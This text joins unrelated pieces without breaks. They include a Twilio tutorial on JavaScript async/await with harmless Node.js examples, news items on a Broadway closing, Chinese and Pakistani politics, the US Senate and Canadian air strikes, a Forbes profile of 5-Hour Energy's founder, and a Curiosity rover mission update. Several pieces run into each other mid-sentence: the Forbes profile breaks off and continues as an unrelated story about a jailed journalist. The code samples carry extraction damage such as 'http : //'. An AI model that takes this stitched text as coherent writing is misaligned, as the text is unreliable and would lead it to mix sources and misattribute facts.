Continuing students have already begun transferring into the Sustainable Agriculture and Food Systems major. Applications for freshmen and transfer students to enter the major will be available in November.Writing asynchronous code is hard. When it comes to JavaScript we rely heavily on callback functions to accomplish asynchronous tasks which can be far from intuitive. This cognitive overhead creates a barrier to entry for newcomers to programming and the language and even causes frequent heartburn for those of us who have been using the language a while. In this post we’ll examine how a proposal for ECMAScript 2016 (ES7) can be used to improve our experience with asynchronous programming in JavaScript, making our code easier to understand and simpler to write. The World of Today Let’s start by taking a look at an attempt of asynchronous programming today. The following example uses the request library to make an HTTP request to the Ron Swanson Quotes API and prints the response to the console. Give it a spin by pasting the following into a file named app.js and running npm install request to install the dependency. If you don’t have Node.js installed you can grab it from here.
var request = require ('request'); function getQuote () { var quote ; request ('http : //ron-swanson-quotes.herokuapp.com/v2/quotes', function(error, response, body) { quote = body ; }); return quote ; } function main () { var quote = getQuote (); console. log ( quote ); } main ();
If you’ve worked with asynchronous programming in JavaScript before you might have already spotted why we’re not going to get a quote from this code. If that’s the case then high five. Running it with node app.js you’ll quickly see undefined printed out. Why does this happen? The reason that the quote variable is undefined is because the callback function that assigns it is not called until after the call to the request function is finished. But because the request function executes asynchronously, JavaScript does not wait around for it to finish. Instead, it moves on to the next statement which returns the unassigned variable. For a great explanation on how async in JavaScript works under the hood check out this amazing talk by Philip Roberts at JSConf EU. Synchronous code is generally easier to understand and write because everything executes in the order in which it is written. Return statements are widely used and pretty intuitive in other languages but unfortunately we’re unable to use them as much as we’d like in JavaScript because they don’t work well with JavaScript’s asynchronous nature. So why go through the struggle of battling asynchronous code? Performance. Network requests and reading from the disk are what we call I/O (input/output) operations. In synchronous I/O execution the program blocks, sitting around and waiting for data transmission to complete. If it takes 60 seconds for a database query to finish the program is sitting around doing nothing for 60 seconds. However during an asynchronous I/O operation the program can resume normal execution and deal with the results of the I/O operation whenever they come up. This is why callback functions exist but callbacks are far more difficult to work with and grok when reading the source of an application. Utopia Can we get the best of both worlds – asynchronous code that lets us work with blocking operations but is also easier to read and write? The answer is yes thanks to the ES7 proposal for Asynchronous Functions (Async/Await). When a function is declared as async it is then able to yield execution to the calling code while it await s for a promise to be resolved. If you’re not familiar with promises check out one of these great resources. You can replace the code in app.js with the following. We’ll also need to install the Babel transpiler to run it. Do so with npm install babel. Babel will transpile our bleeding edge ES7 code into a version that is runnable in today’s environment. You can learn more about Babel here.
var request = require ('request'); function getQuote () { var quote ; return new Promise ( function ( resolve, reject ) { request ('http : //ron-swanson-quotes.herokuapp.com/v2/quotes', function(error, response, body) { quote = body ; resolve ( quote ); }); }); } async function main () { var quote = await getQuote (); console. log ( quote ); } main (); console. log ('Ron once said,');
You can see that we are returning a promise that wraps the network request inside our new getQuote function. Inside the callback passed to request we are calling the resolve function of the promise with the body of the result. Execute the following to run this example.
./ node_modules /. bin / babel - node app. js // Ron once said, // {"quote":"Breakfast food can serve many purposes."}
Woah. That code looks pretty cool and is close to the original attempt. It looks pretty synchronous even though it’s not. In case you didn’t notice, Ron once said, was printed out first despite being called after main. This shows that we’re not blocking while waiting for the network request to complete. Making Improvements We can actually improve this further by adding error handling with a try/catch block. If there is an error during the request we can then call the reject function of the promise which will be caught as an error inside of main. Like return statements, try/catch blocks were very underused in the past because they were hard to use correctly with asynchronous code.
var request = require ('request'); function getQuote () { return new Promise ( function ( resolve, reject ) { request ('http : //ron-swanson-quotes.herokuapp.com/v2/quotes', function(error, response, body) { if ( error ) return reject ( error ); resolve ( body ); }); }); } async function main () { try { var quote = await getQuote (); console. log ( quote ); } catch ( error ) { console. error ( error ); } } main (); console. log ('Ron once said,');
Run this code again and you can see the exception get caught by changing the request URL to something like http://foo. Benefits These are some pretty awesome benefits that are going to really change the way we write asynchronous JavaScript. Being able to write code that runs asynchronously, but looks synchronous and makes it easier to use common programming constructs like return and try/catch will certainly help make the language more approachable. The best part is that we can use our new favorite feature with anything that returns a promise. Let’s take the Twilio Node.js library for example. If you haven’t used the Twilio Node.js library before you can read more about it here. You’ll also need to have a Twilio account which you can sign up for here. Start by running npm install twilio. Then paste the following into a file named twilio.js and replace the fields in the lines marked // TODO with your own credentials and numbers.
./ node_modules /. bin / babel - node twilio. js
var twilio = require ('twilio'); var client = new twilio ('YOUR_TWILIO_ACCOUNT_SID ','YOUR_TWILIO_AUTH_TOKEN'); // TODO async function sendTextMessage ( to ) { try { await client. messages. create ({ to : to, from :'YOUR_TWILIO_PHONE_NUMBER ', // TODO body :'Hello, Async / Await!'}); console. log ('Request sent'); } catch ( error ) { console. error ( error ); } } sendTextMessage ('YOUR_PHONE_NUMBER'); // TODO console. log ('I print out first to show I am async!');
Just like we showed above with the getQuote function, we’ve marked sendTextMessage as async which allows it to await the resolution of the promise returned from client.sendMessage. Wrapping it Up We’ve seen how we can take advantage of a proposed ES7 feature to improve our experience writing asynchronous JavaScript. I’m really excited for the Async/Await proposal to move forward. While we wait for that, we’re able to use Babel to take advantage of this today with anything that returns a promise. The proposal recently hit the candidate stage (stage 3) and is in need of usage and feedback. Have a go at using it with the next awesome thing that you build and be sure to let me know on in the comments or on Twitter @eddiezane. And be sure to try Twilio’s JavaScript and Node.js Tutorials and Guides over on our documentation site.
Authors Eddie Zaneski
Please enable JavaScript to view the comments powered by Disqus.The Broadway revival of “Cats,” which opened last summer and is one of four Andrew Lloyd Webber musicals now running in New York, has posted its closing notice, sticking around through the end of the year before it slinks off.
“Cats,” which was a Broadway-resurrecting megasmash in its 1982 production, started out strong in its 2016 iteration but has since slowed down a bit at the box office. Last week the production pulled in just over $750,000, a solid but unspectacular number for a large-scale musical.
The limited run of another Lloyd Webber show, “Sunset Boulevard” with Glenn Close, will shutter June 25. After “Cats” exits, two more of the composer’s productions will remain on Broadway: “The Phantom of the Opera,” the global smash that’s coming up on 30 years on Broadway, and 2015 outing “School of Rock.”
A title that does well with tourists and international visitors, “Cats” will play through the summer tourist season and into the end-of-the-year holidays, which is traditionally the highest-earning time on Broadway. The original staging ran for 18 years.
After the New York staging closes Dec. 30 at the Neil Simon Theater, the musical is on tap to hit the road, launching a national tour that kicks off in Providence in January 2019.This story appears in the Feb. 27 edition of Forbes magazine.
In one corner of Manoj Bhargava’s office is a cemetery of sorts. It’s a Formica bookcase, its shelves lined with hundreds of garishly colored screw-top plastic bottles not much taller than shot glasses. Front and center is a Cadillac-red bottle of 5-Hour Energy, the two-ounce caffeine and vitamin elixir that purports to keep you alert without crashing. In eight years 5-Hour has gone from nowhere to $1 billion in retail sales. Truckers swear by it. So do the traders in Oliver Stone’s 2010 sequel to Wall Street. So do hungover students. It’s $3 a bottle, and it has made Bhargava a fortune.
His company, Living Essentials, is the biggest player by far in the energy-shot market, and not because 5-Hour is so delicious. Chalky cough syrup is more like it. The reason Bhargava has won is that he plays tough. Sitting in that cemetery are a dozen or so neon copycats with names like 6-Hour Power and 8-Hour Energy. Each has been sued, bullied or kicked off the market by Living Essentials’ lawyers. In front of each are little placards with a skull and crossbones drawn in felt-tip pen. Bhargava points at the gravestone of one of his late competitors and says with a chuckle, “Rest in peace.”
The privately held Living Essentials doesn’t report revenue or profits, but a source with knowledge of its financials says the company grossed north of $600 million last year on that $1 billion at retail. The source says the company netted about $300 million. Checkout scan data from research firm SymphonyIRI say that 5-Hour has 90% of the energy-shot market. Its closest competitor, NVE Pharmaceuticals’ Stacker brand, has just over 3%.
Yet Bhargava, 58, is so under the radar that he barely registers on Web searches. His paper trail is thin, consisting primarily of more than 90 lawsuits. This is his first press interview. “I’m killing it right now,” he says, adjusting a black zip-up cardigan from behind the table of a soulless conference room in a beige low-rise building in a suburban business park in Farmington Hills, Mich. “But you’ll Google me and find, like, some lawyer in Singapore.”
Vague and inscrutable is how Bhargava likes things. The names of 5-Hour’s parent company, Living Essentials LLC, and that company’s parent firm, Innovation Ventures, are purposely bland. “They were intended as placeholders, and they stuck,” he says, smiling.
Colleagues and acquaintances uniformly describe Bhargava as “humble,” and he seems proud of his frugal lifestyle: his ancient flip phone, his cheap office furniture, the modest two-story home he shares with his wife and 20-year-old son. Yet, over vegetarian lasagna at Antonio’s, his favorite strip-mall Italian joint off Detroit’s Twelve-Mile Road,
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victim of vaguely worded and arbitrary state secrets law that is often used against activists to quell freedom of expression.
"This deplorable sentence against Gao Yu is nothing more than blatant political persecution by the Chinese authorities," William Nee, the group's China researcher, said in the statement.
The Hong Kong magazine to which Gao is alleged to have leaked the document, Minjing Monthly, issued a statement reiterating its contention that the charges against Gao were false. The magazine first reported on the document in August 2013.
The magazine suggested the document already had been circulated at the time when Gao is alleged to have leaked it. It also said the information contained neither military nor economic secrets, but was merely a "correct guidance" on ideological matters.
"This unjust judgment of an outstanding Chinese journalist utterly destroys Xi Jinping's commitment to 'rule according to law'," the magazine said.ISLAMABAD: Owners of some land located at the centre of three of the most famous mountain ranges have filed a complaint before the prime minister against the forced acquisition of the land they inherited for the China Pakistan Economic Corridor (CPEC) project by the Gilgit-Baltistan (GB) administration.
The land in question, which is surrounded by the Himalayas and the Karakoram and Hindu Kush ranges, has been selected for the Special Economic Zone of CPEC.
The complaint filed by Shah Jehan Mushapa and other residents of the Maqpon Das Village in the Denyuore tehsil in Gilgit, says that in order to please their rival tribe, the GB bureaucracy had forcibly acquired their land, which had been under their possession for generations. According to the complaint, the locals were given rights of the land in 1893. It says the GB administration had recently selected Maqpon Das for CPEC and acquired the land free of cost. The complainants say they are not against the CPEC project but the way that the GB administration has acquired their land is unlawful and unacceptable to the locals.
Published in Dawn, March 17th, 2017Sen. John Cornyn John CornynGOP lawmaker says panel to investigate drug company gaming of patent system Senators grill drug execs over high prices Cornyn less popular than Cruz in Texas: poll MORE (R-Texas), the No. 2 Senate Republican, on Thursday said knowing what the Republican healthcare bill will be before a procedural vote is a "luxury we don't have."
A Cornyn spokesman said the senator was referring to the open amendment process for the bill, which means that the final product could be altered.
Senate Republicans are divided on a path forward for their healthcare bill.
The two leading options are either taking up a bill that repeals ObamaCare but delays a replacement, or some updated version of the Senate's repeal-and replace-measure. Both of those bills do not have the votes to pass at the moment, however, though negotiations on the second measure are ongoing.
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Senate Republican leaders say they are planning a vote next week to begin debate on the House's ObamaCare repeal bill, which would allow them to begin debating amendments.
But some senators are reluctant to even vote for the initial procedural motion until they known what they will be voting on.
"I will only vote to proceed to repeal legislation if I am confident there is a replacement plan that addresses my concerns," Sen. Shelley Moore Capito Shelley Wellons Moore CapitoDems slam EPA plan for fighting drinking water contaminants GOP senator: Border deal is 'a very good compromise' Push to include contractor back pay in funding deal hits GOP roadblock MORE (R-W.Va.) tweeted Tuesday.
Asked about those concerns, Cornyn told reporters, "Yeah, but it's a luxury we don't have."
Leaders are arguing that wavering senators should just vote to begin debate, and then the legislative process will work its way from there.
"You can't debate something that you don't initiate the debate on," Cornyn said, noting lawmakers could offer amendments on the floor.
"If anybody's got a better idea., they can offer that and get a vote on it, and in the end 50 people are going to decide whether we're going to have an outcome or not," he added. "Any three people can kill the bill at the end if they're not satisfied."
Sen. John Thune John Randolph ThuneWhite House pleads with Senate GOP on emergency declaration Overnight Energy: McConnell plans Green New Deal vote before August recess | EPA official grilled over enforcement numbers | Green group challenges Trump over Utah pipelines McConnell plans vote on Green New Deal before August recess MORE (R-S.D.), the No. 3 Republican, said that it will be up to Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellWhite House pleads with Senate GOP on emergency declaration Senate Dems seek to turn tables on GOP in climate change fight Pence meets with Senate GOP for 'robust' discussion on Trump declaration MORE (R-Ky.) to decide what to vote on.
"It's a judgment call the leader will make at some point," Thune said.
- This story was updated at 3:03 p.m.The Canadian military is facing accusations that a recent air strike by CF-18 pilots in northern Iraq ended up killing at least five civilians and injuring more than one dozen. Canadian warplanes are still bombing Islamic State targets despite Liberal Prime Minister Justin Trudeau's campaign pledge to end these air strikes in Iraq and Syria.
The air strike, on Nov. 19, one month after the Liberals were elected, was intended to destroy what the Canadian military said was an Islamic State bomb-making factory in Mosul.
But local Iraq media reports, which included video and photographic evidence of collateral damage, say the attack on the bomb plant also damaged a dairy factory next door, killing between five and 13 people and injuring more than a dozen.
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Airwars.org, a project to track the international air strikes against Islamic State militants, has collected local media reports on the alleged civilian deaths from outlets such as Nineveh Reporters Network, Mosul News and Nineveh News.
According to the local Nineveh Reporters Network, the attack "killed all elements of the organization [Islamic State] who were inside the booby-trapping plant, but also damaged a large dairy building next door, killing approximately five civilian workers and injuring 13 others."
CF-18s have launched at least 16 strikes since the Oct. 19 election and 193 in the region since last fall.
Mr. Trudeau has not set a firm date for withdrawing Canada's fighters. He has said only that they would be recalled by March 31, 2016.
Major-General Chuck Lamarre, director of staff for the Strategic Joint Staff with the Canadian military, said he is confident that CF-18 bombs did not harm civilians on November 19.
He said he has reviewed the mission reports for November 19 and "there are no indications at all that any civilians have been harmed or killed based on the reports that we had."
Gen. Lamarre declined to comment on whether it might have been another country's bombs that fell astray that day. He said the Canadian Armed Forces won't speak for other coalition countries.
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He said the nearest structure not targeted by bombs was "well outside of our collateral explosive radius that we have on the weapons that were used."
It's a significant change within the Canadian government for the military to produce such a high-ranking officer to answer questions on this matter. Under the former Conservative government the military was largely restricted to talking to reporters by pre-prepared, e-mailed statements.
This is not the first allegation that Canadian military's air strikes have killed civilians.
In January this year, an English-speaking Kurdish Peshmerga fighter told the U.S. military that as many as 27 civilians died during aerial bombardment by a Canadian pilots.
The Canadian military kept this under wraps for seven months before disclosing the allegation in August. It has not investigated the incident because it says there was insufficient evidence.
The Canadian Armed Forces has refused to discuss the details of January's alleged civilian casualties and plays down the matter, saying that "the source of this allegation had himself heard of these potential casualties through a second-hand account" and that nobody could corroborate it.Emily Lakdawalla • April 25, 2017
The last time we checked in on our intrepid rover, it had driven on from an intended drill site at Precipice without drilling, and was approaching the southern stretch of the Bagnold dunes for a scooping and science campaign. The dune science campaign offered the engineers some time to continue troubleshooting the drill without any pressure to use it for science. They checked the dune out at four different locations, and scooped sand at a site called Ogunquit Beach.
Now the dune campaign is complete, but work on the drill problem continues, and unexpected behavior of the drill triggered by the use of the sampling tools to prepare Ogunquit Beach sand for delivery to the analytical instruments interrupted the sample delivery. The rover is driving onward with Ogunquit Beach sample cached, and the lab instrument teams are hopeful they'll still be able to receive the sample.
The drilling and sample problems are worrisome, but there's also excitement as the rover has finally crossed the dunes and now has a clear path ahead of it to Vera Rubin Ridge -- the mission's new name for what has been known as Hematite Ridge. Only about a kilometer of driving remains to get the rover to a destination that's been anticipated since before the landing.
For context for this post, here's a wide view of the area of Bagnold Dunes where Curiosity made its crossing. In yellow are the drill sites; Precipice, in orange, was the failed attempt at drilling. The blue numbers (1, 2, 3, and 4) show the four stops on the second Bagnold Dune science campaign. At bottom right is a north-projecting segment of Vera Rubin Ridge.
And here's a closer view, as ever, from Phil Stooke.
The Bagnold Dunes have a variety of forms depending on where they lie with respect to Mount Sharp and its winds. Where Curiosity first encountered them, in the north, they formed crescent-shaped barchan dunes. Barchans form where winds predominantly blow in one direction and sand supply is limited. Their convex curves face upwind, and their concave slopes face downwind. Their presence tells at the northern margin of Bagnold Dunes you that the wind in that area blows dominantly from north to south, from the lowest-elevation part of the crater toward the mountain.
In the southern reaches of the dune field, Curiosity found something different, linear-shaped dunes. Usually on Earth, linear dunes are transverse dunes -- their crests are perpendicular to the wind. They can form where wind blows dominantly in one direction and there is plentiful sand. But Curiosity scientists suspected that the southern dune field was made of longitudinal or seif dunes, ones that form in a place where the wind regularly switches direction. Longitudinal dunes run parallel to the average wind direction, shaped in place by winds alternately blowing from one way and then the other across their crests. I hadn't heard of these kinds of dunes before I encountered them in explanations for Titan's "cat scratches"! For more on dunes on Mars and Titan, read this guest blog by Nathan Bridges.
As Curiosity approached the southern, more linear stretch of the Bagnold dunefield, it captured a panoramic view. In front of the rover is a section of what may be a longitudinal dune, but from the rover's perspective it's a nondescript, rippled sheet of sand.
To test the longitudinal-dune hypothesis, the scientists wanted to study both sides of the dune and the crest, to compare grain sizes and ripple morphology and to watch how the wind blows sand around. As they did at their first dune stop at Gobabeb, they would scuff the southern dune to see if it was the same on the inside as the outside, and sample some dune sand to study its composition. Stops 1, 2, and 3 on the map above explored the north face, crest, and south face of one of the dunes.
Here is a look at some of the sand from the four different stops. All the visible sand grains are under a millimeter in diameter, which classifies it as fine sand.
During early 2017 Curiosity stopped at four positions within the southern Bagnold dune field to investigate how the sand varied from place to place in the dune system. All four of these images are shown at the same scale; each shows an area about 13 millimeters across. Top left: Stop 1, sol 1603. Top right: Stop 2, sol 1618. Lower left: Stop 3, sol 1637. Lower right: Stop 4, sol 1650. Be aware when comparing the four images that each was taken under different solar illumination conditions, making color comparisons difficult.
When it was time to sample, they drove across to a different site (stop 4) so they could face upwind into the dune. That's because they noticed that bits of bedrock were getting ripped up and incorporated into the upwind side of the dune face at stops 1 through 3, and they wanted to try to get a sample of unadulterated sand. They planned to scoop several times at Ogunquit Beach, with basically the same set of experiments they ran at Gobabeb, but then they ran into trouble.
Ashwin Vasavada explained to me that there's no new problem, exactly -- the situation is similar to what it was before, and engineers continue to suspect that either there is some piece of debris floating around deep inside the drill feed actuator or there is some misalignment of a part of the actuator, causing an intermittent problem with releasing the brake to run the motor. Over the last two months engineers have been very carefully exploring use of the drill feed across many variables -- voltage applied to the brake, use of one brake or two, and current applied to the motor. Use of vibration within the sampling mechanism sometimes seemed to make things worse and sometimes cleared the problem somewhat. It wasn't predictable, which was annoying.
The engineers were getting close to recommending a set of parameters to use to try to get the drill feed working again, when they scooped at Ogunquit Beach and sieved the sample, which requires about 15 minutes of vibration with a motor inside the sampling mechanism. And the brake started acting worse. Now, given past behavior, more use of the vibration mechanism could do what it has in the past, and clear things somewhat. But it was a marked enough change that the Curiosity project halted sampling activity. The mission decided that sticking around at Ogunquit Beach to wait out further troubleshooting wasn't worth it scientifically, and elected to drive on. The team homes to deliver the cached sample to SAM and CheMin at some point down the road.
One other mechanical issue worried the mission during this period, but it has been resolved. On sol 1619, the MAHLI cover failed to open completely -- it stopped when the rover sensed that the motor was drawing more current than usual when trying to open, a sign that something could be stuck. This could have been the sign of a fatal problem for MAHLI, because the instrument has only one motor that both opens/closes the cover and focuses the camera. Fortunately, after a nervous weekend they got the cap closed properly. As of sol 1632, MAHLI is back in business, operating normally (and frequently). I haven't heard a detailed explanation for what was wrong, but given the windy and sandy environment, a possibility is that a grain of sand got caught in the lens cover hinge and has since fallen back out again.
The bedrock that Curiosity is now driving into is really interesting-looking. Frustrating as it is that the rover can't currently sample, it is keeping its other instruments busy -- Mastcams for color imaging, MAHLI for close-up views of rocks and sand and veins, ChemCam and APXS for measuring rock compositions, MARDI for watching wind blow sand around beneath the rover, and even DAN -- part of which is living on borrowed time, its neutron generator about a factor of two past its warranted life -- is getting a workout.
Next stop: Vera Rubin Ridge, formerly known as Hematite Ridge.
Immediately ahead and to the right of Curiosity in this photo is Ireson Hill, capped with an interesting new type of dark rock. In front of the rover is the southern stretch of the Bagnold dune field, which Curiosity explored from sols 1600 to about 1660. Beyond that is the newly named Vera Rubin ridge, Curiosity's next drive target.
A simulated view of the northwest flank of Mount Sharp using images and digital terrain models from HiRISE. The view is toward the southwest. It covers Curiosity's path from the Murray Buttes in the foreground, to the southern extent of the Bagnold dune field in the middle ground, and the Hematite Ridge beyond it. Beyond Hematite Ridge, the landscape steepens dramatically. For an enormous version of this image, visit Doran's Flickr page
Here are the mission updates for the period. There has been a change in ownership of the mission blog. It was started by Ken Herkenhoff at the USGS, and later Ken was joined by two other USGS scientists, Lauren Edgar and Ryan Anderson, as writers. JPL has mirrored the USGS-hosted content for some time. Now, ownership of the blog has moved over to JPL, and more authors are showing up: Michael Battalio of Texas A&M; Christopher Edwards of Northern Arizona University; Abigail Fraeman of JPL; Scott Guzewich of Goddard; Rachel Kronyak of the U of Tennessee; Michelle Minitti of Framework; Mark Salvatore of U Michigan; and Roger Wiens of Los Alamos.
Sols 1600-1601 update by Lauren Edgar: Celebrating Sol 1600 with “Whiskey” and “Rye” (3 February 2017)
Wow, 1600 sols on Mars – that is quite an accomplishment! And we’re at an exciting point in the traverse as we approach the next segment of the Bagnold Dunes. Curiosity’s weekend plan includes more contact science and driving as we continue to investigate the Murray formation and prepare for observations at the active sand dunes. This Saturday is a soliday (a day without planning to allow Earth and Mars schedules to sync back up), so we’ll transition from a late slide sol today to early slide sols next week. The plan begins with additional imaging of “Ireson Hill” to document the bedding geometry and cap rock from a different viewing position. We’ll also take a Mastcam tau, a Navcam dust devil movie, and a Mastcam image to monitor the rover deck. Then Curiosity will acquire MAHLI images of two targets: “Whiskey” and “Rye” (hmmm, perhaps some Sol 1600 celebrations are in order), with a short APXS integration on “Whiskey” and a longer overnight integration on “Rye.” Both targets were selected to study the stratification and chemistry of the Murray formation here. On Sol 1601, Curiosity will carry out some drill diagnostics, followed by a drive and post-drive imaging. We’ll also take a Mastcam 360-degree mosaic, which should be very scenic from this site – looking out over the dunes and capturing features like “Ireson Hill.” And finally, Curiosity will wake up early on Sol 1602 for a suite of environmental monitoring observations. Stay tuned for the second investigation of the Bagnold Dunes next week!
Sol 1602 update by Ryan Anderson: Bagnold Dunes 2: Electric Boogaloo (7 February 2017)
The weekend plan went well and today we begin the second half of the campaign to study the “Bagnold Dunes”. The Sol 1602 plan starts off with two Mastcam mosaics of the dunes which will be repeated several times later in the sol to watch for changes. Navcam also has a dust devil monitoring observation in the morning science block. Around midday, Mastcam will do a couple of measurements to determine the amount of dust in the atmosphere, and ChemCam will do an active LIBS observation of the soil target “Mapleton” as the final step in the diagnostics that will allow it to return to active duty! In addition to change detection, Mastcam has a stereo image of some bedforms at “Flume Ridge,” a 9x2 mosaic of the interesting nearby dune field, and a 3x2 observation in support of the campaign to watch for dust devils. Later in the sol, MAHLI will have a field day, observing the targets “Scarboro”, “McKenny”, “Matagamon”, “Flume Ridge”, “The Forks”, and “West Branch”. The rest of the sol involves repeating the Mastcam change detection observations, going all the way until 7:30 in the evening.
Sol 1603 update by Ryan Anderson: Finishing at Stop 1 (9 February 2017)
Yesterday’s plan went well, and ChemCam has run all of the planned diagnostics and will be back in action tomorrow! Similar to yestersol’s plan, the Sol 1603 plan begins with a pair of Mastcam observations which will be repeated throughout the day to look for any changes in the nearby sand. Mastcam also has multispectral observations of targets “Matagamon,” “Scarboro,” and “Flume Ridge”. Next, Mastcam has a mosaic of some interesting sand ripples. We will wrap up the early afternoon science block with Mastcam atmospheric observations and a Navcam dust devil movie.
After that, MAHLI will take a look at “Matagamon”, “West Branch”, “Flume Ridge”, “Dry Wall” and “McKenny”. That will be followed by an engineering test with APXS and an overnight APXS measurement of the target “Flume Ridge”. If all goes according to plan today, that will wrap up our observations at this location and we will move on to stop #2 of this second campaign to study Bagnold dunes.
Sol 1604-1605 update by Ryan Anderson: Toward Ireson Hill (10 February 2017)
On Sol 1604 we wrapped up at the first stop of this second phase of the Bagnold Dune campaign. The plan started off, as usual for the dune campaign, with a pair of Mastcam images that were then repeated throughout the day to look for changes. ChemCam had an RMI of the target “Mapleton” and then Mastcam had a whole series of images of nearby sand formations. Once that was taken care of, we decided to drive back toward Ireson Hill so that we can take a closer look at some of the geology there. The drive was about 55 meters, followed by post-drive imaging.
In the 1605 plan, ChemCam’s laser is back in action with an analysis of the target “Carys Mills”. Mastcam will take a supporting image of the same target, as well as a small mosaic of the target “Calderwood”. We will then continue driving around the east side of Ireson hill toward our targets of interest, ending at a rock that may be part of the hill’s capping layer.
Sols 1606-1608 update by Ryan Anderson: Studying Ireson Hill (10 February 2017)
Our drive on Sol 1605 was successful, putting us in a good position for weekend science on the northeast side of Ireson Hill. The sol 1606 plan starts off with ChemCam observations of “Quimby,” which appears to be a piece of cap rock that has tumbled down from the top of the hill, and a bedrock target “Quoddy”. Mastcam will take an image to document the ChemCam dataset that was automatically collected at the end of the Sol 1605 drive, as well as a mosaic of an area called “Castine”. APXS will then do an overnight analysis on “Quoddy” and “Pogy”.
Sol 1607 is not too busy: the main activity is a short science block with atmospheric observations using Navcam, ChemCam, and Mastcam. Sol 1608 makes up for it though. It starts off with ChemCam of the targets “Cushing” and “Bucksport”. Mastcam will document those two targets and then do some multispectral observations of “Quoddy”, “Quimby”, and “Jemtland”. We will wrap up Sol 1608 with some workspace images and a MARDI image of the ground under the rover.
Sol 1609 update by Ken Herkenhoff: Passagassawakeag and other challenges (13 February 2017)
MSL drove a little over 9 meters on Sol 1608, to get the vehicle closer to Ireson Hill and the dark blocks that have rolled down from the top of the hill. Two of these blocks are within reach of the arm, but both are challenging targets. Even the name chosen for the dark block at the left side of the image above is difficult: "Passagassawakeag." It's pointier that we would like for contact science, and the other dark block, dubbed "Perry" (at lower right in the image above), is close enough to the rover that there is a risk of collision with the arm. Complicating the plan further, the best time to take MAHLI images of these targets is late in the afternoon, when they won't be shadowed by the arm. But the last chance to send data to Earth in time to make them available for planning tomorrow is earlier in the afternoon, making it difficult to return all of the data needed to respond to a possible arm fault. Therefore, we decided to acquire a single MAHLI image of Passagassawakeag from a safe distance of 5 cm before the critical communications opportunity, and send it in case the full suite of MAHLI images of Perry planned later in the afternoon is not successful. We would then be better able to plan contact science on Perry tomorrow if necessary.
The Sol 1609 plan starts with ChemCam and Right Mastcam observation of Passagassawakeag, a typical Murray bedrock exposure named "Spurwink," and a more distant dark block called "Wassataquoik" (another tongue-twister). Then the Right Mastcam will acquire a 3x1 mosaic of the Perry area, single images of rocks near the top of the hill named "Gonic," "Kineo," and "Edmunds," followed by an 8x4-frame mosaic of the right side of the hill. Just before the MAHLI imaging of Perry, a full suite of MAHLI images, plus extra stereo frames, is planned on Spurwink. After all of the MAHLI activities have been completed, the APXS will be placed on Perry for a pair of short integrations, then placed on Spurwink for an overnight integration. Of course we are hoping that this complicated plan goes well!
Sol 1610 update by Ken Herkenhoff: Finishing up at Ireson Hill (14 February 2017)
The activities planned for Sol 1609 went well, and MAHLI focus data indicate that high-resolution images of Perry were successfully acquired. So we're ready to drive away from Ireson Hill after some more remote sensing of the rocks in front of the rover. The Sol 1610 plan starts with some more drill diagnostic tests, then the arm will be moved out of the way for remote sensing. ChemCam and Right Mastcam will observe a bedrock exposure named "Fogelin" that shows subtle color variations, and Mastcam will acquire multispectral sets of images of yesterday's contact science targets Perry and Spurwink. As more Sol 1609 data were returned during planning this morning, the Mastcam team noticed that the Right Mastcam image of Edmunds was blocked by the arm, so this activity will be repeated on Sol 1610 with the arm out of the way. Mastcam will also measure dust in the atmosphere before the drive and standard post-drive imaging. Later in the afternoon, Navcam will search for dust devils and clouds, and ChemCam will acquire some calibration data. REMS will take a break from the usual environmental monitoring to update their flight software.
Sol 1611 update by Ken Herkenhoff: Patch Mountain (15 February 2017)
MSL drove almost 27 meters on Sol 1610 to a location with several potential targets, so the planning team spent some time discussing priorities. A dark patch of bedrock, appropriately named "Patch Mountain" was chosen for ChemCam, Right Mastcam, and MAHLI observations. The MAHLI imaging was moved after the ChemCam observation so that the LIBS impact spots would be visible. An additional MAHLI image was added to the standard full suite, to provide a 3-image mosaic from 5 cm. Then the rover will drive again, and take images afterward to enable planning more activities on Sol 1612. Just before sunset, Navcam will search for dust devils and REMS will complete the second part of their flight software update.
Sols 1612-1613 update by Ken Herkenhoff: Planning challenges (16 February 2017)
After a 23-meter drive on Sol 1611, MSL again ended up in an area with many bedrock blocks partly covered by dark sand. We're planning two sols today to get a head start on planning for the holiday weekend, with the first sol strategically planned to allow the "touch and go" option. But there's a ridge about 30 meters ahead that we can't see over, and we would like to be able to drive up onto it on Sol 1612 to allow a drive past it to be planned this weekend. There isn't enough time before the "decisional" telecommunications opportunity to fit both contact science and a 30-meter drive into the plan, so we had to pick one of these two options. Based on images taken from orbit and by the rover, lots of bedrock is exposed at the crest of the ridge 30 meters away, so we picked the longer drive at the expense of contact science today, hoping that the rover will be in a better place for contact science this weekend. Before the drive, ChemCam and Right Mastcam will observe a bright/dark boundary on a block at the left side of the image above (dubbed "Frenchville"), and Right Mastcam will acquire a 2x2 mosaic of another block named "Third Lake." After the drive, we're planning fewer images to support weekend planning because the expected downlink data volume is much less than usual. We therefore spent more time than usual carefully prioritizing the post-drive images for downlink, and may not receive all of the data we need to plan contact science and a drive this weekend.
Later in the afternoon of Sol 1612, ChemCam will again use AEGIS to autonomously select a LIBS target and acquire a 3x3 set of chemical measurements. The REMS software upgrade went well, so REMS environmental monitoring is being planned again today! On Sol 1613, ChemCam will acquire passive calibration data, and Navcam will search for dust devils and clouds. Finally, the rover will sleep overnight in preparation for what we hope will be a busy weekend plan. The issues described above made for a challenging day for me as SOWG Chair!
Sols 1614-1616 update by Ken Herkenhoff: Delayed planning (17 February 2017)
The Sol 1612 drive went well, and there is a nice bedrock block in the arm workspace. We received a bit more data than expected before planning started, but not enough to finalize drive plans and contact science targets. As expected, we received more data during planning, including color images of the arm workspace that were very useful in selecting contact science targets. The late arrival of the necessary data caused delays in the standard uplink planning timeline, but the tactical team did a great job and we have an excellent weekend plan. It's good to see REMS extended blocks back in the plan after the successful software upgrade.
On Sol 1614, ChemCam and Right Mastcam will observe bedrock targets named "Columbia Falls," "Spider Lake," and "Loon Stream." Mastcam will measure dust in the atmosphere and acquire a 3x3 mosaic of a layered block dubbed "Aroostook River." Late that afternoon, MAHLI will image the REMS UV sensor and acquire mosaics of another bedrock target named "Chain Lakes" and of Spider Lake. The APXS will then measure the chemistry of the Spider Lake area at overlapping locations to look for spatial variations in composition. Early the next morning, Mastcam will again measure dust in the atmosphere and Navcam will search for clouds. Later on Sol 1615, more drill diagnostic tests are planned, then the APXS will be placed on its calibration target for an overnight integration. A short drive to the dark dunes south of the rover is planned on Sol 1616, followed by unstowing the arm and post-drive imaging. Another busy (sometimes hectic) day for me as SOWG Chair!
Sol 1617 update by Ken Herkenhoff: Re-attempt the drive (21 February 2017)
